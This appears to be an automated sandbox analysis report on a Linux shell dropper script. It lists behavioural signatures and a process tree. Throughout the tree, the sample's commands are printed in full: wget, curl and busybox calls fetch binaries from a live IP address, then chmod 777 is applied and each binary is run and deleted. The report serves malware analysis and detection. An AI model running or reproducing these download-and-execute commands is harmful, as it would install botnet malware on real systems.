f0e0f299d0aa4f1ef19c4d78e0083fe9f97d9ae67228517aaf8b5ce8a4961e70

Analysis

max time kernel
73s
max time network
75s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
31/10/2024, 04:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
f0e0f299d0aa4f1ef19c4d78e0083fe9f97d9ae67228517aaf8b5ce8a4961e70.sh
Size 10KB
Sample241031-eqraysyjbv
SHA256 f0e0f299d0aa4f1ef19c4d78e0083fe9f97d9ae67228517aaf8b5ce8a4961e70
MD5 9f621b5ae9a274c5f31121b034dcd264
SHA1 55a6e41d00bd22037b0807bfea4c2f49f167d3c9
SHA512 64848a1443757a02f631db901531c96d8b9a095b51fbc33f0fddaa61bbd73e395ebb4c8e088507e7f60edef1ffbfe3cb1daf05f366b4a07424302ac58bdd1868
SSDEEP 192:kqebgk/Oe33Sr3H7LnD/UDLGCgkj33Sr3r7XD/UDL6T:kqeTOTPzT
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
942	chmod
960	chmod
972	chmod
830	chmod
858	chmod
912	chmod
813	chmod
870	chmod
930	chmod
789	chmod
936	chmod
738	chmod
864	chmod
924	chmod
954	chmod
732	chmod
744	chmod
882	chmod
918	chmod
966	chmod
888	chmod
894	chmod
906	chmod
900	chmod
948	chmod
764	chmod
807	chmod
876	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 10 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
962	rm
875	busybox
877	FeupF9D3QmgYDQRt5ip0Dup0FJF9gg3Pdz
957	wget
959	busybox
961	FeupF9D3QmgYDQRt5ip0Dup0FJF9gg3Pdz
873	wget
874	curl
878	rm
958	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/5Y4lLdt29DvqUxvoINH0DC3xSA9pWeCoeH	curl
File opened for modification	/tmp/GxSiwbJWQ3wrWf6tKid4HPgYZbXdPvpFh2	curl
File opened for modification	/tmp/cAsJBAGZGSeNnJVQUfE5XQCNZZddO9lf7P	curl
File opened for modification	/tmp/C6tqzuejQk34206av34MII4zgayyIUj9Ep	curl
File opened for modification	/tmp/EwbN5GiXNtc7Xxzd2gWr6YLR4K9mtWFtGq	curl
File opened for modification	/tmp/C6tqzuejQk34206av34MII4zgayyIUj9Ep	curl
File opened for modification	/tmp/ymIXbTzhBltWbxWwWvusxdhgefZa4jwkRT	curl
File opened for modification	/tmp/ymIXbTzhBltWbxWwWvusxdhgefZa4jwkRT	curl
File opened for modification	/tmp/EwbN5GiXNtc7Xxzd2gWr6YLR4K9mtWFtGq	curl
File opened for modification	/tmp/3qDoG3ikutDJZ7RYSdNNGOjBtye6W9Ue9E	curl
File opened for modification	/tmp/L1uRdVm8zfEjglS0A6RihfEet8FLxYrCW6	curl
File opened for modification	/tmp/XoeZfzTcd7iwrVXNAhsDWFYIfnjAMW1Npf	curl
File opened for modification	/tmp/FeupF9D3QmgYDQRt5ip0Dup0FJF9gg3Pdz	curl
File opened for modification	/tmp/cAsJBAGZGSeNnJVQUfE5XQCNZZddO9lf7P	curl
File opened for modification	/tmp/ngVQL2PHjmBCwTSDrCyevX5ItWkaRZXfRN	curl
File opened for modification	/tmp/FeupF9D3QmgYDQRt5ip0Dup0FJF9gg3Pdz	curl
File opened for modification	/tmp/A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB	curl
File opened for modification	/tmp/V8gbBlqRp0T1oUsXBVgJx6IvWFQ1iM5kQU	curl
File opened for modification	/tmp/L1uRdVm8zfEjglS0A6RihfEet8FLxYrCW6	curl
File opened for modification	/tmp/vrBW0iAGpNMUmWmrVYD0zfasL9z24YdUSH	curl
File opened for modification	/tmp/A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB	curl
File opened for modification	/tmp/XoeZfzTcd7iwrVXNAhsDWFYIfnjAMW1Npf	curl
File opened for modification	/tmp/ngVQL2PHjmBCwTSDrCyevX5ItWkaRZXfRN	curl
File opened for modification	/tmp/V8gbBlqRp0T1oUsXBVgJx6IvWFQ1iM5kQU	curl
File opened for modification	/tmp/vrBW0iAGpNMUmWmrVYD0zfasL9z24YdUSH	curl
File opened for modification	/tmp/5Y4lLdt29DvqUxvoINH0DC3xSA9pWeCoeH	curl
File opened for modification	/tmp/GxSiwbJWQ3wrWf6tKid4HPgYZbXdPvpFh2	curl
File opened for modification	/tmp/3qDoG3ikutDJZ7RYSdNNGOjBtye6W9Ue9E	curl

/tmp/f0e0f299d0aa4f1ef19c4d78e0083fe9f97d9ae67228517aaf8b5ce8a4961e70.sh
/tmp/f0e0f299d0aa4f1ef19c4d78e0083fe9f97d9ae67228517aaf8b5ce8a4961e70.sh
1⤵
PID:700
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:702
- /usr/bin/wget
  wget http://87.120.84.230/bins/A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB
  2⤵
  PID:706
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:722
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB
  2⤵
  PID:730
- /bin/chmod
  chmod 777 A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB
  2⤵
  - File and Directory Permissions Modification
  PID:732
- /tmp/A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB
  ./A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB
  2⤵
  - Executes dropped EXE
  PID:733
- /bin/rm
  rm A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB
  2⤵
  PID:734
- /usr/bin/wget
  wget http://87.120.84.230/bins/5Y4lLdt29DvqUxvoINH0DC3xSA9pWeCoeH
  2⤵
  PID:735
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5Y4lLdt29DvqUxvoINH0DC3xSA9pWeCoeH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:736
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5Y4lLdt29DvqUxvoINH0DC3xSA9pWeCoeH
  2⤵
  PID:737
- /bin/chmod
  chmod 777 5Y4lLdt29DvqUxvoINH0DC3xSA9pWeCoeH
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /tmp/5Y4lLdt29DvqUxvoINH0DC3xSA9pWeCoeH
  ./5Y4lLdt29DvqUxvoINH0DC3xSA9pWeCoeH
  2⤵
  - Executes dropped EXE
  PID:739
- /bin/rm
  rm 5Y4lLdt29DvqUxvoINH0DC3xSA9pWeCoeH
  2⤵
  PID:740
- /usr/bin/wget
  wget http://87.120.84.230/bins/V8gbBlqRp0T1oUsXBVgJx6IvWFQ1iM5kQU
  2⤵
  PID:741
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/V8gbBlqRp0T1oUsXBVgJx6IvWFQ1iM5kQU
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:742
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/V8gbBlqRp0T1oUsXBVgJx6IvWFQ1iM5kQU
  2⤵
  PID:743
- /bin/chmod
  chmod 777 V8gbBlqRp0T1oUsXBVgJx6IvWFQ1iM5kQU
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/V8gbBlqRp0T1oUsXBVgJx6IvWFQ1iM5kQU
  ./V8gbBlqRp0T1oUsXBVgJx6IvWFQ1iM5kQU
  2⤵
  - Executes dropped EXE
  PID:745
- /bin/rm
  rm V8gbBlqRp0T1oUsXBVgJx6IvWFQ1iM5kQU
  2⤵
  PID:746
- /usr/bin/wget
  wget http://87.120.84.230/bins/EwbN5GiXNtc7Xxzd2gWr6YLR4K9mtWFtGq
  2⤵
  PID:747
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/EwbN5GiXNtc7Xxzd2gWr6YLR4K9mtWFtGq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:749
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/EwbN5GiXNtc7Xxzd2gWr6YLR4K9mtWFtGq
  2⤵
  PID:759
- /bin/chmod
  chmod 777 EwbN5GiXNtc7Xxzd2gWr6YLR4K9mtWFtGq
  2⤵
  - File and Directory Permissions Modification
  PID:764
- /tmp/EwbN5GiXNtc7Xxzd2gWr6YLR4K9mtWFtGq
  ./EwbN5GiXNtc7Xxzd2gWr6YLR4K9mtWFtGq
  2⤵
  - Executes dropped EXE
  PID:765
- /bin/rm
  rm EwbN5GiXNtc7Xxzd2gWr6YLR4K9mtWFtGq
  2⤵
  PID:767
- /usr/bin/wget
  wget http://87.120.84.230/bins/ymIXbTzhBltWbxWwWvusxdhgefZa4jwkRT
  2⤵
  PID:769
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ymIXbTzhBltWbxWwWvusxdhgefZa4jwkRT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:776
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ymIXbTzhBltWbxWwWvusxdhgefZa4jwkRT
  2⤵
  PID:784
- /bin/chmod
  chmod 777 ymIXbTzhBltWbxWwWvusxdhgefZa4jwkRT
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/ymIXbTzhBltWbxWwWvusxdhgefZa4jwkRT
  ./ymIXbTzhBltWbxWwWvusxdhgefZa4jwkRT
  2⤵
  - Executes dropped EXE
  PID:791
- /bin/rm
  rm ymIXbTzhBltWbxWwWvusxdhgefZa4jwkRT
  2⤵
  PID:796
- /usr/bin/wget
  wget http://87.120.84.230/bins/cAsJBAGZGSeNnJVQUfE5XQCNZZddO9lf7P
  2⤵
  PID:797
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/cAsJBAGZGSeNnJVQUfE5XQCNZZddO9lf7P
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:804
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/cAsJBAGZGSeNnJVQUfE5XQCNZZddO9lf7P
  2⤵
  PID:806
- /bin/chmod
  chmod 777 cAsJBAGZGSeNnJVQUfE5XQCNZZddO9lf7P
  2⤵
  - File and Directory Permissions Modification
  PID:807
- /tmp/cAsJBAGZGSeNnJVQUfE5XQCNZZddO9lf7P
  ./cAsJBAGZGSeNnJVQUfE5XQCNZZddO9lf7P
  2⤵
  - Executes dropped EXE
  PID:808
- /bin/rm
  rm cAsJBAGZGSeNnJVQUfE5XQCNZZddO9lf7P
  2⤵
  PID:809
- /usr/bin/wget
  wget http://87.120.84.230/bins/L1uRdVm8zfEjglS0A6RihfEet8FLxYrCW6
  2⤵
  PID:810
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/L1uRdVm8zfEjglS0A6RihfEet8FLxYrCW6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:811
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/L1uRdVm8zfEjglS0A6RihfEet8FLxYrCW6
  2⤵
  PID:812
- /bin/chmod
  chmod 777 L1uRdVm8zfEjglS0A6RihfEet8FLxYrCW6
  2⤵
  - File and Directory Permissions Modification
  PID:813
- /tmp/L1uRdVm8zfEjglS0A6RihfEet8FLxYrCW6
  ./L1uRdVm8zfEjglS0A6RihfEet8FLxYrCW6
  2⤵
  - Executes dropped EXE
  PID:814
- /bin/rm
  rm L1uRdVm8zfEjglS0A6RihfEet8FLxYrCW6
  2⤵
  PID:815
- /usr/bin/wget
  wget http://87.120.84.230/bins/XoeZfzTcd7iwrVXNAhsDWFYIfnjAMW1Npf
  2⤵
  PID:816
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/XoeZfzTcd7iwrVXNAhsDWFYIfnjAMW1Npf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:817
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/XoeZfzTcd7iwrVXNAhsDWFYIfnjAMW1Npf
  2⤵
  PID:821
- /bin/chmod
  chmod 777 XoeZfzTcd7iwrVXNAhsDWFYIfnjAMW1Npf
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/XoeZfzTcd7iwrVXNAhsDWFYIfnjAMW1Npf
  ./XoeZfzTcd7iwrVXNAhsDWFYIfnjAMW1Npf
  2⤵
  - Executes dropped EXE
  PID:831
- /bin/rm
  rm XoeZfzTcd7iwrVXNAhsDWFYIfnjAMW1Npf
  2⤵
  PID:834
- /usr/bin/wget
  wget http://87.120.84.230/bins/C6tqzuejQk34206av34MII4zgayyIUj9Ep
  2⤵
  PID:835
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/C6tqzuejQk34206av34MII4zgayyIUj9Ep
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:842
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/C6tqzuejQk34206av34MII4zgayyIUj9Ep
  2⤵
  PID:851
- /bin/chmod
  chmod 777 C6tqzuejQk34206av34MII4zgayyIUj9Ep
  2⤵
  - File and Directory Permissions Modification
  PID:858
- /tmp/C6tqzuejQk34206av34MII4zgayyIUj9Ep
  ./C6tqzuejQk34206av34MII4zgayyIUj9Ep
  2⤵
  - Executes dropped EXE
  PID:859
- /bin/rm
  rm C6tqzuejQk34206av34MII4zgayyIUj9Ep
  2⤵
  PID:860
- /usr/bin/wget
  wget http://87.120.84.230/bins/ngVQL2PHjmBCwTSDrCyevX5ItWkaRZXfRN
  2⤵
  PID:861
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ngVQL2PHjmBCwTSDrCyevX5ItWkaRZXfRN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:862
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ngVQL2PHjmBCwTSDrCyevX5ItWkaRZXfRN
  2⤵
  PID:863
- /bin/chmod
  chmod 777 ngVQL2PHjmBCwTSDrCyevX5ItWkaRZXfRN
  2⤵
  - File and Directory Permissions Modification
  PID:864
- /tmp/ngVQL2PHjmBCwTSDrCyevX5ItWkaRZXfRN
  ./ngVQL2PHjmBCwTSDrCyevX5ItWkaRZXfRN
  2⤵
  - Executes dropped EXE
  PID:865
- /bin/rm
  rm ngVQL2PHjmBCwTSDrCyevX5ItWkaRZXfRN
  2⤵
  PID:866
- /usr/bin/wget
  wget http://87.120.84.230/bins/vrBW0iAGpNMUmWmrVYD0zfasL9z24YdUSH
  2⤵
  PID:867
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/vrBW0iAGpNMUmWmrVYD0zfasL9z24YdUSH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:868
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/vrBW0iAGpNMUmWmrVYD0zfasL9z24YdUSH
  2⤵
  PID:869
- /bin/chmod
  chmod 777 vrBW0iAGpNMUmWmrVYD0zfasL9z24YdUSH
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/vrBW0iAGpNMUmWmrVYD0zfasL9z24YdUSH
  ./vrBW0iAGpNMUmWmrVYD0zfasL9z24YdUSH
  2⤵
  - Executes dropped EXE
  PID:871
- /bin/rm
  rm vrBW0iAGpNMUmWmrVYD0zfasL9z24YdUSH
  2⤵
  PID:872
- /usr/bin/wget
  wget http://87.120.84.230/bins/FeupF9D3QmgYDQRt5ip0Dup0FJF9gg3Pdz
  2⤵
  - System Network Configuration Discovery
  PID:873
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/FeupF9D3QmgYDQRt5ip0Dup0FJF9gg3Pdz
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:874
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/FeupF9D3QmgYDQRt5ip0Dup0FJF9gg3Pdz
  2⤵
  - System Network Configuration Discovery
  PID:875
- /bin/chmod
  chmod 777 FeupF9D3QmgYDQRt5ip0Dup0FJF9gg3Pdz
  2⤵
  - File and Directory Permissions Modification
  PID:876
- /tmp/FeupF9D3QmgYDQRt5ip0Dup0FJF9gg3Pdz
  ./FeupF9D3QmgYDQRt5ip0Dup0FJF9gg3Pdz
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:877
- /bin/rm
  rm FeupF9D3QmgYDQRt5ip0Dup0FJF9gg3Pdz
  2⤵
  - System Network Configuration Discovery
  PID:878
- /usr/bin/wget
  wget http://87.120.84.230/bins/GxSiwbJWQ3wrWf6tKid4HPgYZbXdPvpFh2
  2⤵
  PID:879
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/GxSiwbJWQ3wrWf6tKid4HPgYZbXdPvpFh2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:880
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/GxSiwbJWQ3wrWf6tKid4HPgYZbXdPvpFh2
  2⤵
  PID:881
- /bin/chmod
  chmod 777 GxSiwbJWQ3wrWf6tKid4HPgYZbXdPvpFh2
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /tmp/GxSiwbJWQ3wrWf6tKid4HPgYZbXdPvpFh2
  ./GxSiwbJWQ3wrWf6tKid4HPgYZbXdPvpFh2
  2⤵
  - Executes dropped EXE
  PID:883
- /bin/rm
  rm GxSiwbJWQ3wrWf6tKid4HPgYZbXdPvpFh2
  2⤵
  PID:884
- /usr/bin/wget
  wget http://87.120.84.230/bins/3qDoG3ikutDJZ7RYSdNNGOjBtye6W9Ue9E
  2⤵
  PID:885
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/3qDoG3ikutDJZ7RYSdNNGOjBtye6W9Ue9E
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:886
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/3qDoG3ikutDJZ7RYSdNNGOjBtye6W9Ue9E
  2⤵
  PID:887
- /bin/chmod
  chmod 777 3qDoG3ikutDJZ7RYSdNNGOjBtye6W9Ue9E
  2⤵
  - File and Directory Permissions Modification
  PID:888
- /tmp/3qDoG3ikutDJZ7RYSdNNGOjBtye6W9Ue9E
  ./3qDoG3ikutDJZ7RYSdNNGOjBtye6W9Ue9E
  2⤵
  - Executes dropped EXE
  PID:889
- /bin/rm
  rm 3qDoG3ikutDJZ7RYSdNNGOjBtye6W9Ue9E
  2⤵
  PID:890
- /usr/bin/wget
  wget http://87.120.84.230/bins/ymIXbTzhBltWbxWwWvusxdhgefZa4jwkRT
  2⤵
  PID:891
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ymIXbTzhBltWbxWwWvusxdhgefZa4jwkRT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:892
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ymIXbTzhBltWbxWwWvusxdhgefZa4jwkRT
  2⤵
  PID:893
- /bin/chmod
  chmod 777 ymIXbTzhBltWbxWwWvusxdhgefZa4jwkRT
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/ymIXbTzhBltWbxWwWvusxdhgefZa4jwkRT
  ./ymIXbTzhBltWbxWwWvusxdhgefZa4jwkRT
  2⤵
  - Executes dropped EXE
  PID:895
- /bin/rm
  rm ymIXbTzhBltWbxWwWvusxdhgefZa4jwkRT
  2⤵
  PID:896
- /usr/bin/wget
  wget http://87.120.84.230/bins/A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB
  2⤵
  PID:897
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:898
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB
  2⤵
  PID:899
- /bin/chmod
  chmod 777 A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB
  2⤵
  - File and Directory Permissions Modification
  PID:900
- /tmp/A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB
  ./A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB
  2⤵
  - Executes dropped EXE
  PID:901
- /bin/rm
  rm A7oesPDGRBElYUw4SaWsZEGqzrLnfwxAlB
  2⤵
  PID:902
- /usr/bin/wget
  wget http://87.120.84.230/bins/5Y4lLdt29DvqUxvoINH0DC3xSA9pWeCoeH
  2⤵
  PID:903
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5Y4lLdt29DvqUxvoINH0DC3xSA9pWeCoeH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:904
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5Y4lLdt29DvqUxvoINH0DC3xSA9pWeCoeH
  2⤵
  PID:905
- /bin/chmod
  chmod 777 5Y4lLdt29DvqUxvoINH0DC3xSA9pWeCoeH
  2⤵
  - File and Directory Permissions Modification
  PID:906
- /tmp/5Y4lLdt29DvqUxvoINH0DC3xSA9pWeCoeH
  ./5Y4lLdt29DvqUxvoINH0DC3xSA9pWeCoeH
  2⤵
  - Executes dropped EXE
  PID:907
- /bin/rm
  rm 5Y4lLdt29DvqUxvoINH0DC3xSA9pWeCoeH
  2⤵
  PID:908
- /usr/bin/wget
  wget http://87.120.84.230/bins/V8gbBlqRp0T1oUsXBVgJx6IvWFQ1iM5kQU
  2⤵
  PID:909
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/V8gbBlqRp0T1oUsXBVgJx6IvWFQ1iM5kQU
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:910
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/V8gbBlqRp0T1oUsXBVgJx6IvWFQ1iM5kQU
  2⤵
  PID:911
- /bin/chmod
  chmod 777 V8gbBlqRp0T1oUsXBVgJx6IvWFQ1iM5kQU
  2⤵
  - File and Directory Permissions Modification
  PID:912
- /tmp/V8gbBlqRp0T1oUsXBVgJx6IvWFQ1iM5kQU
  ./V8gbBlqRp0T1oUsXBVgJx6IvWFQ1iM5kQU
  2⤵
  - Executes dropped EXE
  PID:913
- /bin/rm
  rm V8gbBlqRp0T1oUsXBVgJx6IvWFQ1iM5kQU
  2⤵
  PID:914
- /usr/bin/wget
  wget http://87.120.84.230/bins/EwbN5GiXNtc7Xxzd2gWr6YLR4K9mtWFtGq
  2⤵
  PID:915
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/EwbN5GiXNtc7Xxzd2gWr6YLR4K9mtWFtGq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:916
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/EwbN5GiXNtc7Xxzd2gWr6YLR4K9mtWFtGq
  2⤵
  PID:917
- /bin/chmod
  chmod 777 EwbN5GiXNtc7Xxzd2gWr6YLR4K9mtWFtGq
  2⤵
  - File and Directory Permissions Modification
  PID:918
- /tmp/EwbN5GiXNtc7Xxzd2gWr6YLR4K9mtWFtGq
  ./EwbN5GiXNtc7Xxzd2gWr6YLR4K9mtWFtGq
  2⤵
  - Executes dropped EXE
  PID:919
- /bin/rm
  rm EwbN5GiXNtc7Xxzd2gWr6YLR4K9mtWFtGq
  2⤵
  PID:920
- /usr/bin/wget
  wget http://87.120.84.230/bins/cAsJBAGZGSeNnJVQUfE5XQCNZZddO9lf7P
  2⤵
  PID:921
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/cAsJBAGZGSeNnJVQUfE5XQCNZZddO9lf7P
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:922
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/cAsJBAGZGSeNnJVQUfE5XQCNZZddO9lf7P
  2⤵
  PID:923
- /bin/chmod
  chmod 777 cAsJBAGZGSeNnJVQUfE5XQCNZZddO9lf7P
  2⤵
  - File and Directory Permissions Modification
  PID:924
- /tmp/cAsJBAGZGSeNnJVQUfE5XQCNZZddO9lf7P
  ./cAsJBAGZGSeNnJVQUfE5XQCNZZddO9lf7P
  2⤵
  - Executes dropped EXE
  PID:925
- /bin/rm
  rm cAsJBAGZGSeNnJVQUfE5XQCNZZddO9lf7P
  2⤵
  PID:926
- /usr/bin/wget
  wget http://87.120.84.230/bins/L1uRdVm8zfEjglS0A6RihfEet8FLxYrCW6
  2⤵
  PID:927
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/L1uRdVm8zfEjglS0A6RihfEet8FLxYrCW6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:928
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/L1uRdVm8zfEjglS0A6RihfEet8FLxYrCW6
  2⤵
  PID:929
- /bin/chmod
  chmod 777 L1uRdVm8zfEjglS0A6RihfEet8FLxYrCW6
  2⤵
  - File and Directory Permissions Modification
  PID:930
- /tmp/L1uRdVm8zfEjglS0A6RihfEet8FLxYrCW6
  ./L1uRdVm8zfEjglS0A6RihfEet8FLxYrCW6
  2⤵
  - Executes dropped EXE
  PID:931
- /bin/rm
  rm L1uRdVm8zfEjglS0A6RihfEet8FLxYrCW6
  2⤵
  PID:932
- /usr/bin/wget
  wget http://87.120.84.230/bins/XoeZfzTcd7iwrVXNAhsDWFYIfnjAMW1Npf
  2⤵
  PID:933
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/XoeZfzTcd7iwrVXNAhsDWFYIfnjAMW1Npf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:934
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/XoeZfzTcd7iwrVXNAhsDWFYIfnjAMW1Npf
  2⤵
  PID:935
- /bin/chmod
  chmod 777 XoeZfzTcd7iwrVXNAhsDWFYIfnjAMW1Npf
  2⤵
  - File and Directory Permissions Modification
  PID:936
- /tmp/XoeZfzTcd7iwrVXNAhsDWFYIfnjAMW1Npf
  ./XoeZfzTcd7iwrVXNAhsDWFYIfnjAMW1Npf
  2⤵
  - Executes dropped EXE
  PID:937
- /bin/rm
  rm XoeZfzTcd7iwrVXNAhsDWFYIfnjAMW1Npf
  2⤵
  PID:938
- /usr/bin/wget
  wget http://87.120.84.230/bins/C6tqzuejQk34206av34MII4zgayyIUj9Ep
  2⤵
  PID:939
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/C6tqzuejQk34206av34MII4zgayyIUj9Ep
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:940
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/C6tqzuejQk34206av34MII4zgayyIUj9Ep
  2⤵
  PID:941
- /bin/chmod
  chmod 777 C6tqzuejQk34206av34MII4zgayyIUj9Ep
  2⤵
  - File and Directory Permissions Modification
  PID:942
- /tmp/C6tqzuejQk34206av34MII4zgayyIUj9Ep
  ./C6tqzuejQk34206av34MII4zgayyIUj9Ep
  2⤵
  - Executes dropped EXE
  PID:943
- /bin/rm
  rm C6tqzuejQk34206av34MII4zgayyIUj9Ep
  2⤵
  PID:944
- /usr/bin/wget
  wget http://87.120.84.230/bins/ngVQL2PHjmBCwTSDrCyevX5ItWkaRZXfRN
  2⤵
  PID:945
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ngVQL2PHjmBCwTSDrCyevX5ItWkaRZXfRN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:946
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ngVQL2PHjmBCwTSDrCyevX5ItWkaRZXfRN
  2⤵
  PID:947
- /bin/chmod
  chmod 777 ngVQL2PHjmBCwTSDrCyevX5ItWkaRZXfRN
  2⤵
  - File and Directory Permissions Modification
  PID:948
- /tmp/ngVQL2PHjmBCwTSDrCyevX5ItWkaRZXfRN
